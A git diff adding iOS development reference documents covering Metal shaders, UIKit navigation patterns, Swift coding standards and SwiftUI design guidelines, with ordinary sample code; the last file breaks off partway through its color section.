+1,178 @@ +# Metal Shader Reference + +Expert reference for Metal shaders, real-time rendering, and Apple's Tile-Based Deferred Rendering (TBDR) architecture. + +## Core Principles + +**Half precision first → Leverage TBDR → Function constant specialization → Use Intersector API** + +### When to Use + +- Metal Shading Language (MSL) development +- Apple GPU optimization (TBDR architecture) +- PBR rendering pipelines +- Compute shaders and parallel processing +- Apple Silicon ray tracing +- GPU profiling and debugging + +### When NOT to Use + +- WebGL/GLSL (different architecture) +- CUDA (NVIDIA only) +- OpenGL (deprecated on Apple) +- CPU-side optimization + +## Expert vs Novice + +| Topic | Novice | Expert | +|-------|--------|--------| +| Data types | `float` everywhere | Default `half`, `float` only for position/depth | +| Branching | Runtime conditionals | Function constants for compile-time elimination | +| Memory | Everything in device | Know constant/device/threadgroup tradeoffs | +| Architecture | Treat as desktop GPU | Understand TBDR: tile memory is free, bandwidth is expensive | +| Ray tracing | intersection queries | intersector API (hardware-aligned) | +| Debugging | print debugging | GPU capture, shader profiler, occupancy analysis | + +## Common Anti-Patterns + +| Anti-Pattern | Problem | Solution | +|--------------|---------|----------| +| 32-bit floats | Wastes registers, reduces occupancy, doubles bandwidth | Default `half`, `float` only for position/depth | +| Ignoring TBDR | Not using free tile memory | Use `[[color(n)]]`, memoryless targets | +| Runtime constant branches | Warp divergence, wastes ALU | Function constants + pipeline specialization | +| intersection queries | Not hardware-aligned | Use intersector API | + +## Metal Evolution + +| Era | Key Development | +|-----|-----------------| +| Metal 2.x | OpenGL migration, basic compute | +| Apple Silicon | Unified memory, tile shaders critical | +| Metal 3 | Mesh shaders, hardware-accelerated ray tracing | +| Latest | Neural Engine + GPU cooperation, Vision Pro foveated rendering | + +**Apple Family 9 Note**: Threadgroup memory less advantageous vs direct device access. + +## Shader Types + +| Type | Purpose | Key Attributes | +|------|---------|----------------| +| Vertex | Vertex transformation | `[[stage_in]]`, `[[buffer(n)]]` | +| Fragment | Pixel shading | `[[color(n)]]`, `[[texture(n)]]` | +| Compute/Kernel | General computation | `[[thread_position_in_grid]]` | +| Tile | TBDR-specific | `[[imageblock]]` | +| Mesh | Metal 3 geometry | `[[mesh_id]]` | + +## Rendering Techniques + +| Technique | Description | +|-----------|-------------| +| Fullscreen quad | 4 vertex triangle strip, no MVP, post-processing basis | +| PBR Cook-Torrance | Fresnel Schlick + GGX Distribution + Smith Geometry | +| Blinn-Phong | Simple specular, half-vector calculation | + +## Procedural Generation + +| Technique | Use Case | +|-----------|----------| +| Hash functions | Pseudo-random basis for noise, random sampling | +| Voronoi | Cell textures, stones, cracks | +| Value/Perlin Noise | Continuous random fields | +| FBM | Multi-octave layering, fractal terrain, clouds | +| Domain Warping | Coordinate distortion, organic shapes | + +## Numerical Techniques + +| Technique | Formula | +|-----------|---------| +| Central difference gradient | `(f(x+h) - f(x-h)) / (2h)` | +| Smoothstep | `x * x * (3 - 2 * x)` | +| SDF operations | `min/max/smooth_min` boolean ops | + +## SwiftUI + MTKView Integration + +### Architecture Pattern + +``` +MetalView (UIViewRepresentable) + └── Coordinator = Renderer (MTKViewDelegate) + ├── MTLDevice + ├── MTLCommandQueue + ├── MTLRenderPipelineState + └── MTLBuffer (vertices, uniforms) +``` + +### Uniform Alignment Rules + +| Swift Type | Metal Type | Alignment | +|------------|------------|-----------| +| `Float` | `float` | 4 bytes | +| `SIMD2` | `float2` | 8 bytes | +| `SIMD3` | `float3` | **16 bytes** | +| `SIMD4` | `float4` | 16 bytes | + +**Key**: `float3` aligns to 16 bytes. Use `MemoryLayout.size` to verify. + +## Command Line Tools + +| Command | Purpose | +|---------|---------| +| `xcrun metal -c shader.metal -o shader.air` | Compile to AIR | +| `xcrun metallib shader.air -o shader.metallib` | Link to metallib | +| `xcrun metal shader.metal -o shader.metallib` | One-step compile & link | +| `xcrun metal -Weverything -c shader.metal` | Syntax check | +| `xcrun metal-objdump --disassemble shader.metallib` | Disassemble | + +## GPU Debugging + +### Xcode Workflow + +1. **GPU Capture**: ⌘⇧⌥G +2. **Shader Profiler**: Select draw call → View Shader +3. **Memory Viewer**: Inspect buffer/texture +4. **Performance HUD**: Enable in device options + +### Key Metrics + +| Metric | Healthy Value | Low Value Cause | +|--------|---------------|-----------------| +| GPU Occupancy | > 80% | Memory bandwidth bottleneck | +| ALU Utilization | > 60% | Waiting on memory | +| Bandwidth | As low as possible | TBDR should minimize store | + +### Debug Utility Functions + +| Function | Purpose | +|----------|---------| +| heatmap | Value visualization (blue→green→red) | +| debugNaN | NaN/Inf detection (magenta marker) | +| visualizeDepth | Linearized depth visualization | + +## Performance Optimization Checklist + +### Data Types +- [ ] Default `half`, `float` only for position/depth + +### Memory Management +- [ ] Constants in constant address space +- [ ] Use `.storageModeShared` +- [ ] Leverage tile memory (TBDR free reads) +- [ ] Avoid unnecessary render target stores + +### Branch Optimization +- [ ] Function constants to eliminate branches +- [ ] Fixed loop bounds (GPU unrolling) + +### Rendering Tips +- [ ] Fullscreen quad with 4 vertex triangle strip +- [ ] Procedural textures to avoid sampling bandwidth +- [ ] `[[early_fragment_tests]]` for early depth test +- [ ] `setFragmentBytes` for small data + +### Compute Optimization +- [ ] Vectorize (SIMD) +- [ ] Reduce register pressure + +--- + +*Metal, Apple Silicon, and Xcode are trademarks of Apple Inc.* diff --git a/skills/ios-application-dev/references/navigation-patterns.md b/skills/ios-application-dev/references/navigation-patterns.md new file mode 100644 index 0000000..5347a82 --- /dev/null +++ b/skills/ios-application-dev/references/navigation-patterns.md @@ -0,0 +1,175 @@ +# Navigation Patterns + +iOS navigation patterns guide covering Tab navigation, Navigation Controller, and modal presentation. + +## Tab-Based Navigation + +For apps with 3-5 main sections: + +```swift +class AppTabBarController: UITabBarController { + override func viewDidLoad() { + super.viewDidLoad() + + let homeNav = UINavigationController(rootViewController: HomeVC()) + homeNav.tabBarItem = UITabBarItem( + title: "Home", + image: UIImage(systemName: "house"), + selectedImage: UIImage(systemName: "house.fill") + ) + + let searchNav = UINavigationController(rootViewController: SearchVC()) + searchNav.tabBarItem = UITabBarItem( + title: "Search", + image: UIImage(systemName: "magnifyingglass"), + tag: 1 + ) + + let profileNav = UINavigationController(rootViewController: ProfileVC()) + profileNav.tabBarItem = UITabBarItem( + title: "Profile", + image: UIImage(systemName: "person"), + selectedImage: UIImage(systemName: "person.fill") + ) + + viewControllers = [homeNav, searchNav, profileNav] + } +} +``` + +### Tab Bar Best Practices + +| Principle | Description | +|-----------|-------------| +| Limit count | Maximum 5 tabs, use More for additional | +| Always visible | Tab bar stays visible at all navigation levels | +| State preservation | Preserve navigation state when switching tabs | +| Icon choice | Use SF Symbols, provide selected/unselected states | + +## Navigation Controller + +Use large titles for root views: + +```swift +class ListViewController: UIViewController { + override func viewDidLoad() { + super.viewDidLoad() + title = "Items" + navigationController?.navigationBar.prefersLargeTitles = true + navigationItem.largeTitleDisplayMode = .always + } + + func pushDetail(_ item: Item) { + let detail = DetailViewController(item: item) + detail.navigationItem.largeTitleDisplayMode = .never + navigationController?.pushViewController(detail, animated: true) + } +} +``` + +### Navigation Bar Configuration + +```swift +class CustomNavigationController: UINavigationController { + override func viewDidLoad() { + super.viewDidLoad() + + let appearance = UINavigationBarAppearance() + appearance.configureWithDefaultBackground() + + navigationBar.standardAppearance = appearance + navigationBar.scrollEdgeAppearance = appearance + navigationBar.compactAppearance = appearance + } +} +``` + +### Navigation Bar Buttons + +```swift +override func viewDidLoad() { + super.viewDidLoad() + + navigationItem.rightBarButtonItem = UIBarButtonItem( + image: UIImage(systemName: "plus"), + style: .plain, + target: self, + action: #selector(addItem) + ) + + navigationItem.rightBarButtonItems = [ + UIBarButtonItem(systemItem: .add, primaryAction: UIAction { _ in }), + UIBarButtonItem(systemItem: .edit, primaryAction: UIAction { _ in }) + ] +} +``` + +## Modal Presentation + +### Sheet Presentation + +```swift +func presentEditor() { + let editorVC = EditorViewController() + let nav = UINavigationController(rootViewController: editorVC) + + editorVC.navigationItem.leftBarButtonItem = UIBarButtonItem( + systemItem: .cancel, target: self, action: #selector(dismissEditor) + ) + editorVC.navigationItem.rightBarButtonItem = UIBarButtonItem( + systemItem: .done, target: self, action: #selector(saveAndDismiss) + ) + + if let sheet = nav.sheetPresentationController { + sheet.detents = [.medium(), .large()] + sheet.prefersGrabberVisible = true + sheet.prefersScrollingExpandsWhenScrolledToEdge = false + } + + present(nav, animated: true) +} +``` + +### Custom Detent (iOS 16+) + +```swift +if let sheet = nav.sheetPresentationController { + let customDetent = UISheetPresentationController.Detent.custom { context in + return context.maximumDetentValue * 0.4 + } + sheet.detents = [customDetent, .large()] +} +``` + +### Full Screen Presentation + +```swift +func presentFullScreen() { + let vc = FullScreenViewController() + vc.modalPresentationStyle = .fullScreen + vc.modalTransitionStyle = .coverVertical + present(vc, animated: true) +} +``` + +## Presentation Styles + +| Style | Usage | +|-------|-------| +| `.automatic` | System default (usually sheet) | +| `.pageSheet` | Card-style, parent view visible | +| `.fullScreen` | Full screen cover | +| `.overFullScreen` | Full screen with transparent background | +| `.popover` | iPad popover | + +## Navigation Best Practices + +1. **Back gesture** - Ensure edge swipe back always works +2. **State restoration** - Use `UIStateRestoring` to save navigation stack +3. **Depth limit** - Avoid more than 4-5 navigation levels +4. **Cancel button** - Modal views must provide a cancel option +5. **Save confirmation** - Show confirmation dialog for unsaved changes + +--- + +*UIKit, SF Symbols, and Apple are trademarks of Apple Inc.* diff --git a/skills/ios-application-dev/references/swift-coding-standards.md b/skills/ios-application-dev/references/swift-coding-standards.md new file mode 100644 index 0000000..b9408b8 --- /dev/null +++ b/skills/ios-application-dev/references/swift-coding-standards.md @@ -0,0 +1,757 @@ +# Swift Coding Standards + +Best practices for writing clean, safe, and idiomatic Swift code following Apple's guidelines and modern Swift conventions. + +--- + +## 1. Optionals and Safety + +**Impact:** CRITICAL + +Swift's optional system eliminates null pointer exceptions through compile-time safety. + +### 1.1 Safe Unwrapping with if let + +```swift +if let name = optionalName { + print("Hello, \(name)") +} + +// Multiple bindings +if let name = userName, let age = userAge, age >= 18 { + print("\(name) is an adult") +} +``` + +### 1.2 Guard for Early Exit + +Use `guard` to exit early when preconditions aren't met: + +```swift +func processUser(_ user: User?) { + guard let user = user else { return } + guard !user.name.isEmpty else { return } + print(user.name) +} +``` + +### 1.3 Nil Coalescing for Defaults + +```swift +let displayName = name ?? "Anonymous" +let count = items?.count ?? 0 +``` + +### 1.4 Optional Chaining + +```swift +let count = user?.profile?.posts?.count +let uppercased = optionalString?.uppercased() +``` + +### 1.5 Optional map/flatMap + +```swift +let uppercasedName = userName.map { $0.uppercased() } +let userID = userIDString.flatMap { Int($0) } +``` + +### 1.6 Never Force Unwrap + +Avoid `!` force unwrapping. Use safe alternatives: + +| Instead of | Use | +|------------|-----| +| `value!` | `if let value = value { }` | +| `array[0]` (unsafe) | `array.first` | +| `dictionary["key"]!` | `dictionary["key", default: defaultValue]` | + +--- + +## 2. Naming Conventions + +**Impact:** HIGH + +### 2.1 Types: PascalCase + +```swift +class UserProfileViewController { } +struct NetworkRequest { } +protocol DataSource { } +enum LoadingState { } +``` + +### 2.2 Variables and Functions: camelCase + +```swift +var userName: String +let maximumRetryCount = 3 +func fetchUserProfile() { } +``` + +### 2.3 Boolean Naming + +Use `is`, `has`, `should`, `can` prefixes: + +```swift +var isLoading: Bool +var hasCompletedOnboarding: Bool +var shouldShowAlert: Bool +var canEditProfile: Bool +``` + +### 2.4 Function Naming + +Use verb phrases, read like natural English: + +```swift +// Good - clear actions +func fetchUsers() async throws -> [User] +func remove(_ item: Item, at index: Int) +func makeIterator() -> Iterator + +// Avoid - unclear or redundant +func getUsersData() // "get" is redundant +func doRemove() // vague +``` + +### 2.5 Parameter Labels + +First parameter label can be omitted when obvious: + +```swift +func insert(_ element: Element, at index: Int) +func move(from source: Int, to destination: Int) +``` + +--- + +## 3. Protocol-Oriented Design + +**Impact:** HIGH + +Swift favors composition over inheritance through protocols. + +### 3.1 Define Capabilities Through Protocols + +```swift +protocol DataStore { + func save(_ item: T, key: String) throws + func load(key: String) throws -> T? +} + +protocol Drawable { + var color: Color { get set } + func draw() +} +``` + +### 3.2 Protocol Extensions for Default Behavior + +```swift +extension Drawable { + func draw() { + print("Drawing with \(color)") + } +} + +extension Collection { + func chunked(into size: Int) -> [[Element]] { + guard size > 0 else { return [] } + + var result: [[Element]] = [] + var i = startIndex + + while i != endIndex { + let j = index(i, offsetBy: size, limitedBy: endIndex) ?? endIndex + result.append(Array(self[i.. [Item] + func save(_ item: Item) async throws +} + +class UserRepository: Repository { + typealias Item = User + + func fetchAll() async throws -> [User] { /* ... */ } + func save(_ item: User) async throws { /* ... */ } +} +``` + +### 3.4 Protocol Composition + +```swift +protocol Named { var name: String { get } } +protocol Aged { var age: Int { get } } + +func greet(_ person: Named & Aged) { + print("Hello, \(person.name), age \(person.age)") +} +``` + +--- + +## 4. Value Types vs Reference Types + +**Impact:** HIGH + +### 4.1 Prefer Structs (Value Types) + +Use structs for simple data models, independent copies: + +```swift +struct User { + var name: String + var email: String +} + +struct Point { + var x: Double + var y: Double +} +``` + +### 4.2 Use Classes When Needed + +Use classes when identity, shared ownership, or reference semantics matter. +Prefer actors for mutable state shared across concurrent tasks: + +```swift +class NetworkManager { + static let shared = NetworkManager() + private init() { } +} + +class FileHandle { + // Wrapping system resource +} +``` + +### 4.3 Enums for Finite States + +```swift +enum LoadingState { + case idle + case loading + case success(Data) + case failure(Error) +} + +enum Result { + case success(Success) + case failure(Failure) +} +``` + +| Type | Use When | +|------|----------| +| `struct` | Data models, coordinates, independent values | +| `class` | Shared state, identity matters, inheritance needed | +| `enum` | Finite set of options, state machines | + +--- + +## 5. Memory Management with ARC + +**Impact:** CRITICAL + +### 5.1 Breaking Retain Cycles with weak + +```swift +class Apartment { + weak var tenant: Person? +} + +class Person { + var apartment: Apartment? +} +``` + +### 5.2 Closure Capture Lists + +Use capture lists intentionally to avoid retain cycles. +Choose `weak` or `unowned` based on lifetime guarantees: + +```swift +// Weak capture for optional self +onComplete = { [weak self] in + self?.processResult() +} + +// Capture specific values +let id = user.id +fetchData { [id] result in + print("Fetched for \(id)") +} +``` + +### 5.3 unowned for Guaranteed Lifetime + +Use when reference should never be nil during object lifetime: + +```swift +class CreditCard { + unowned let customer: Customer + + init(customer: Customer) { + self.customer = customer + } +} +``` + +| Keyword | Use When | +|---------|----------| +| `weak` | Reference may become nil | +| `unowned` | Reference guaranteed to outlive | +| None | Strong ownership needed | + +--- + +## 6. Error Handling + +**Impact:** HIGH + +### 6.1 Define Typed Errors + +```swift +enum NetworkError: Error { + case invalidURL + case noConnection + case serverError(statusCode: Int) + case decodingFailed(underlying: Error) +} + +enum ValidationError: LocalizedError { + case emptyField(name: String) + case invalidFormat(field: String, expected: String) + + var errorDescription: String? { + switch self { + case .emptyField(let name): + return "\(name) cannot be empty" + case .invalidFormat(let field, let expected): + return "\(field) must be \(expected)" + } + } +} +``` + +### 6.2 Throwing Functions + +```swift +func fetchUser(id: Int) throws -> User { + guard let url = URL(string: "https://api.example.com/users/\(id)") else { + throw NetworkError.invalidURL + } + // ... implementation +} +``` + +### 6.3 Do-Catch Handling + +```swift +do { + let user = try fetchUser(id: 123) + print(user.name) +} catch NetworkError.serverError(let code) { + print("Server error: \(code)") +} catch NetworkError.noConnection { + print("Check your internet connection") +} catch { + print("Unknown error: \(error)") +} +``` + +### 6.4 try? and try! + +```swift +// try? returns optional (nil on error) +let user = try? fetchUser(id: 123) + +// try! crashes on error - use only when failure is programmer error +let config = try! loadBundledConfig() +``` + +### 6.5 Rethrows + +```swift +func perform(_ operation: () throws -> T) rethrows -> T { + return try operation() +} +``` + +--- + +## 7. Modern Concurrency (async/await) + +**Impact:** CRITICAL + +Use actor isolation and `Sendable` to prevent data races across concurrency domains. + +### 7.1 Async Functions + +```swift +func fetchUser(id: Int) async throws -> User { + guard let url = URL(string: "https://api.example.com/users/\(id)") else { + throw NetworkError.invalidURL + } + let (data, _) = try await URLSession.shared.data(from: url) + return try JSONDecoder().decode(User.self, from: data) +} + +// Calling async functions +Task { + do { + let user = try await fetchUser(id: 123) + print(user.name) + } catch { + print("Failed: \(error)") + } +} +``` + +### 7.2 Parallel Execution with TaskGroup + +```swift +func fetchAllUsers(ids: [Int]) async throws -> [User] { + try await withThrowingTaskGroup(of: User.self) { group in + for id in ids { + group.addTask { + try await fetchUser(id: id) + } + } + return try await group.reduce(into: []) { $0.append($1) } + } +} +``` + +### 7.3 async let for Concurrent Bindings + +```swift +async let user = fetchUser(id: 1) +async let posts = fetchPosts(userId: 1) +async let followers = fetchFollowers(userId: 1) + +let profile = try await ProfileData( + user: user, + posts: posts, + followers: followers +) +``` + +### 7.4 Actors for Thread-Safe State + +```swift +actor BankAccount { + private var balance: Double = 0 + + func deposit(_ amount: Double) { + balance += amount + } + + func withdraw(_ amount: Double) throws { + guard balance >= amount else { + throw BankError.insufficientFunds + } + balance -= amount + } + + func getBalance() -> Double { + balance + } +} + +// Usage +let account = BankAccount() +await account.deposit(100) +let balance = await account.getBalance() +``` + +### 7.5 MainActor for UI Updates + +```swift +@MainActor +class ViewModel: ObservableObject { + @Published var isLoading = false + @Published var users: [User] = [] + + func loadUsers() async { + isLoading = true + defer { isLoading = false } + + do { + users = try await fetchUsers() + } catch { + // Handle error + } + } +} +``` + +### 7.6 Task Cancellation + +```swift +func fetchWithTimeout() async throws -> Data { + try await withThrowingTaskGroup(of: Data.self) { group in + group.addTask { + try await fetchData() + } + group.addTask { + try await Task.sleep(for: .seconds(10)) + throw TimeoutError() + } + + let result = try await group.next()! + group.cancelAll() + return result + } +} + +// Check for cancellation +func longOperation() async throws { + for item in items { + try Task.checkCancellation() + await process(item) + } +} +``` + +--- + +## 8. Access Control + +**Impact:** MEDIUM + +### 8.1 Access Levels + +| Level | Scope | +|-------|-------| +| `private` | Enclosing declaration only | +| `fileprivate` | Entire source file | +| `internal` | Module (default) | +| `public` | Other modules can access | +| `open` | Other modules can subclass/override | + +### 8.2 Best Practices + +```swift +public class UserService { + // Public API + public func fetchUser(id: Int) async throws -> User { } + + // Internal helper + func buildRequest(for id: Int) -> URLRequest { } + + // Private implementation detail + private let session: URLSession + private var cache: [Int: User] = [:] +} +``` + +### 8.3 Private Setters + +```swift +public struct Counter { + public private(set) var count = 0 + + public mutating func increment() { + count += 1 + } +} +``` + +--- + +## 9. Generics and Type Constraints + +**Impact:** MEDIUM + +### 9.1 Generic Functions + +```swift +func swapValues(_ a: inout T, _ b: inout T) { + let temp = a + a = b + b = temp +} +``` + +### 9.2 Type Constraints + +```swift +func findIndex(of value: T, in array: [T]) -> Int? { + array.firstIndex(of: value) +} + +func decode(_ type: T.Type, from data: Data) throws -> T { + try JSONDecoder().decode(type, from: data) +} +``` + +### 9.3 Where Clauses + +```swift +func allMatch(_ collection: C, predicate: (C.Element) -> Bool) -> Bool + where C.Element: Equatable { + collection.allSatisfy(predicate) +} + +extension Array where Element: Numeric { + func sum() -> Element { + reduce(0, +) + } +} +``` + +### 9.4 Opaque Types (some) + +```swift +func makeCollection() -> some Collection { + [1, 2, 3] +} + +var body: some View { + Text("Hello") +} +``` + +--- + +## 10. Property Wrappers + +**Impact:** MEDIUM + +### 10.1 Common SwiftUI Property Wrappers + +| Wrapper | Use Case | +|---------|----------| +| `@State` | View-local mutable state | +| `@Binding` | Two-way connection to parent state | +| `@StateObject` | View-owned observable object | +| `@ObservedObject` | Passed-in observable object | +| `@EnvironmentObject` | Shared object from ancestor | +| `@Environment` | System environment values | +| `@Published` | Observable property in class | + +### 10.2 Custom Property Wrappers + +```swift +@propertyWrapper +struct Clamped { + private var value: Value + let range: ClosedRange + + var wrappedValue: Value { + get { value } + set { value = min(max(newValue, range.lowerBound), range.upperBound) } + } + + init(wrappedValue: Value, _ range: ClosedRange) { + self.range = range + self.value = min(max(wrappedValue, range.lowerBound), range.upperBound) + } +} + +struct Settings { + @Clamped(0...100) var volume: Int = 50 +} +``` + +--- + +## Quick Reference + +### Optionals + +```swift +if let x = optional { } // Safe unwrap +guard let x = optional else { return } // Early exit +let x = optional ?? default // Default value +optional?.method() // Optional chaining +optional.map { transform($0) } // Transform if present +``` + +### Common Patterns + +```swift +// Defer for cleanup +func process() { + let file = openFile() + defer { closeFile(file) } + // ... work with file +} + +// Lazy initialization +lazy var expensive: ExpensiveObject = { + ExpensiveObject() +}() + +// Type inference +let numbers = [1, 2, 3] // [Int] +let doubled = numbers.map { $0 * 2 } // [Int] +``` + +### Closure Syntax + +```swift +// Full syntax +let sorted = names.sorted(by: { (s1: String, s2: String) -> Bool in + return s1 < s2 +}) + +// Shortened +let sorted = names.sorted { $0 < $1 } + +// Trailing closure +UIView.animate(withDuration: 0.3) { + view.alpha = 0 +} +``` + +--- + +## Checklist + +### Safety +- [ ] No force unwrapping (`!`) except for IB outlets and known-safe cases +- [ ] All optionals handled with `if let`, `guard let`, or `??` +- [ ] No implicitly unwrapped optionals (`!`) in data models + +### Memory +- [ ] Escaping closures capture `self` intentionally; use `[weak self]` or `[unowned self]` to avoid retain cycles when needed +- [ ] Delegate properties are `weak` +- [ ] No retain cycles between objects + +### Concurrency +- [ ] Async functions used instead of completion handlers +- [ ] Mutable state shared across concurrency domains is isolated, often with actors +- [ ] Types crossing concurrency domains use `Sendable` when appropriate +- [ ] UI updates on `@MainActor` +- [ ] Task cancellation checked in long operations + +### Access Control +- [ ] `private` used for implementation details +- [ ] `public` API is minimal and intentional +- [ ] No unnecessary `internal` exposure + +### Naming +- [ ] Types use PascalCase +- [ ] Functions and variables use camelCase +- [ ] Booleans have `is`/`has`/`should` prefix +- [ ] Functions read like natural English + +--- + +*Swift and Apple are trademarks of Apple Inc.* diff --git a/skills/ios-application-dev/references/swiftui-design-guidelines.md b/skills/ios-application-dev/references/swiftui-design-guidelines.md new file mode 100644 index 0000000..bcbfe1a --- /dev/null +++ b/skills/ios-application-dev/references/swiftui-design-guidelines.md @@ -0,0 +1,1167 @@ +# SwiftUI Design Guidelines + +Design rules based on Apple Human Interface Guidelines for building native iOS interfaces with SwiftUI. + +--- + +## Design Philosophy + +iOS design prioritizes **content over chrome**. The interface should feel invisible—users focus on their tasks, not the UI. + +**Key mindsets:** + +1. **Let content breathe** — Use full-screen layouts, minimize borders and boxes, let images and text take center stage + +2. **Leverage system conventions** — Users already know how iOS works; don't reinvent navigation, gestures, or controls + +3. **Design for fingers** — Touch is imprecise; generous tap targets and forgiving gesture recognition matter more than pixel-perfect layouts + +4. **Respect user choices** — Honor Dynamic Type, Dark Mode, Reduce Motion, and other accessibility settings as first-class requirements + +**iOS 26+ Liquid Glass:** +The latest iOS introduces translucent UI elements that respond to lighting and content behind them. Typography is bolder, text tends left-aligned for easier scanning. + +--- + +## 1. Layout & Safe Areas + +**Impact:** CRITICAL + +### 1.1 Minimum 44pt Touch Targets + +All interactive elements must have minimum 44x44 **points** (not pixels—points scale with screen density). + +```swift +Button(action: handleTap) { + Image(systemName: "heart.fill") +} +.frame(minWidth: 44, minHeight: 44) +``` + +Avoid placing critical interactions near screen edges where system gestures operate. + +### 1.2 Respect Safe Areas + +Never place interactive or essential content under the status bar, Dynamic Island, or home indicator. SwiftUI respects safe areas by default. Use `.ignoresSafeArea()` only for background fills, images, or decorative elements—never for text or interactive controls. + +```swift +ZStack { + LinearGradient(colors: [.blue, .purple], startPoint: .top, endPoint: .bottom) + .ignoresSafeArea() + + VStack { + Text("Welcome") + .font(.largeTitle) + Button("Get Started") { } + } +} +``` + +### 1.3 Primary Actions in Thumb Zone + +Place primary actions at the bottom of the screen where the user's thumb naturally rests. Secondary actions and navigation belong at the top. + +```swift +VStack { + ScrollView { + // Content + } + + Spacer() + + Button("Submit") { submit() } + .buttonStyle(.borderedProminent) + .padding(.horizontal) + .padding(.bottom) +} +``` + +### 1.4 Support All Screen Sizes + +Design for iPhone SE (375pt) through iPad Pro (1024pt+). Use Size Classes to adapt: + +```swift +@Environment(\.horizontalSizeClass) private var sizeClass + +var body: some View { + if sizeClass == .compact { + VStack { content } + } else { + HStack { content } + } +} +``` + +| Size Class | Devices | +|------------|---------| +| Compact width | iPhone portrait, small iPhone landscape | +| Regular width | iPad, large iPhone landscape | + +Use flexible layouts, avoid hardcoded widths: + +```swift +HStack(spacing: 16) { + ForEach(categories) { category in + CategoryCard(category: category) + .frame(maxWidth: .infinity) + } +} +``` + +### 1.5 8pt Grid Alignment + +Align spacing, padding, and element sizes to multiples of 8 points (8, 16, 24, 32, 40, 48). Use 4pt for fine adjustments. + +### 1.6 Landscape Support + +Support landscape orientation unless the app is task-specific (e.g., camera). Use `ViewThatFits` or `GeometryReader` for adaptive layouts. + +```swift +ViewThatFits { + HStack { contentViews } + VStack { contentViews } +} +``` + +--- + +## 2. Navigation + +**Impact:** CRITICAL + +### 2.1 Tab Bar for Top-Level Sections + +Use a tab bar at the bottom of the screen for 3 to 5 top-level sections. Each tab should represent a distinct category of content or functionality. + +```swift +TabView(selection: $selectedTab) { + HomeView() + .tabItem { + Label("Home", systemImage: "house") + } + .tag(Tab.home) + + DiscoverView() + .tabItem { + Label("Discover", systemImage: "magnifyingglass") + } + .tag(Tab.discover) + + AccountView() + .tabItem { + Label("Account", systemImage: "person") + } + .tag(Tab.account) +} +``` + +### 2.2 Navigation Architecture + +**Tab Bar (Flat)** — For 3-5 equal-importance sections +- Always visible except when covered by modals +- Each tab maintains its own navigation stack +- Most important content leftmost (easier thumb access) + +**Hierarchical (Drill-Down)** — For tree-structured info +- Push/pop navigation with back button +- Minimize depth (3-4 levels max) +- Provide search as escape hatch for deep trees + +**Modal (Focused Tasks)** — For self-contained workflows +- Full-screen for critical tasks +- Page sheet for dismissible tasks (swipe-down) +- Clear Done/Cancel with confirmation if data loss possible + +Never use hamburger menus—they reduce feature discoverability significantly. + +### 2.3 Large Titles in Primary Views + +Use `.navigationBarTitleDisplayMode(.large)` for top-level views. Titles transition to inline when the user scrolls. + +```swift +NavigationStack { + List(conversations) { conversation in + ConversationRow(conversation: conversation) + } + .navigationTitle("Inbox") + .navigationBarTitleDisplayMode(.large) +} +``` + +### 2.4 Never Override Back Swipe + +The swipe-from-left-edge gesture for back navigation is a system-level expectation. Never attach custom gesture recognizers that interfere with it. + +### 2.5 Use NavigationStack for Hierarchical Content + +Use `NavigationStack` (not the deprecated `NavigationView`) for drill-down content. Use `NavigationPath` for programmatic navigation. + +```swift +@State private var navPath = NavigationPath() + +NavigationStack(path: $navPath) { + List(products) { product in + NavigationLink(value: product) { + ProductRow(product: product) + } + } + .navigationDestination(for: Product.self) { product in + ProductDetailView(product: product) + } +} +``` + +### 2.6 Preserve State Across Navigation + +When users navigate back and then forward, or switch tabs, restore the previous scroll position and input state. + +```swift +@SceneStorage("selectedTab") private var selectedTab = Tab.home +@SceneStorage("scrollPosition") private var scrollPosition: String? +``` + +--- + +## 3. Typography & Dynamic Type + +**Impact:** HIGH + +### 3.1 Use Built-in Text Styles + +Always use semantic text styles—they scale with Dynamic Type automatically: + +| Style | Usage | +|-------|-------| +| `.largeTitle` | Screen titles | +| `.title`, `.title2`, `.title3` | Section headers | +| `.headline` | Emphasized body text | +| `.body` | Primary content (17pt default) | +| `.callout` | Secondary emphasized | +| `.subheadline` | Supporting labels | +| `.footnote`, `.caption` | Tertiary info | +| `.caption2` | Minimum size (11pt) | + +```swift +VStack(alignment: .leading, spacing: 8) { + Text("Article Title") + .font(.headline) + + Text("Published by Author Name") + .font(.subheadline) + .foregroundStyle(.secondary) + + Text(articleBody) + .font(.body) +} +``` + +### 3.2 Support Dynamic Type Including Accessibility Sizes + +Dynamic Type can scale text up to approximately 200% at the largest accessibility sizes. Layouts must reflow—never truncate or clip essential text. + +```swift +@Environment(\.dynamicTypeSize) private var typeSize + +var body: some View { + if typeSize.isAccessibilitySize { + VStack(alignment: .leading) { content } + } else { + HStack { content } + } +} +``` + +### 3.3 Custom Fonts Must Scale + +If you use a custom typeface, scale it with `Font.custom(_:size:relativeTo:)` so it responds to Dynamic Type. + +```swift +Text("Brand Text") + .font(.custom("Avenir-Medium", size: 17, relativeTo: .body)) +``` + +### 3.4 SF Pro as System Font + +Use the system font (SF Pro) unless brand requirements dictate otherwise. SF Pro is optimized for legibility on Apple displays. + +### 3.5 Minimum 11pt Text + +Never display text smaller than 11pt. Prefer 17pt for body text. Use the `caption2` style (11pt) as the absolute minimum. + +### 3.6 Hierarchy Through Weight and Size + +Establish visual hierarchy through font weight and size. Do not rely solely on color to differentiate text levels. + +### 3.7 SF Symbols + +Use SF Symbols (6,900+ icons) instead of custom image assets: + +```swift +// Basic usage with automatic text alignment +Label("Favorites", systemImage: "star.fill") + +// Rendering modes +Image(systemName: "cloud.sun.rain") + .symbolRenderingMode(.hierarchical) // or .multicolor, .palette + .imageScale(.large) // .small, .medium, .large +``` + +SF Symbols automatically match text weight, scale with Dynamic Type, and align to text baselines. Let them size naturally—don't force them into fixed-dimension containers. + +--- + +## 4. Color & Dark Mode + +**Impact:** HIGH + +### 4.1 Use Semantic System Colors + +Never use hard-coded RGB, hex, or `.black`/`.white` directly. Use semantic colors: + +**Labels:** +- `.primary`, `.secondary`, `.tertiary`, `.quaternary` + +**Backgrounds:** +- `Color(.systemBackground)` — primary surface +- `Color(.secondarySystemBackground)` — cards, grouped +- `Color(.tertiarySystemBackground)` — nested elements + +**System Colors (adapt to appearance):** +- `.blue`, `.red`, `.green`, `.orange`, `.yellow`, `.purple`, `.pink`, `.cyan`, `.mint`, `.teal`, `.indigo`, `.brown`, `.gray` + +```swift +VStack { + Text("Primary content") + .foregroundStyle(.primary) + + Text("Supporting info") + .foregroundStyle(.secondary) +} +.background(Color(.systemBackground)) +``` + +### 4.2 Custom Colors Need 4 Variants + +For custom colors, define in asset catalog with all appearance combinations: +1. 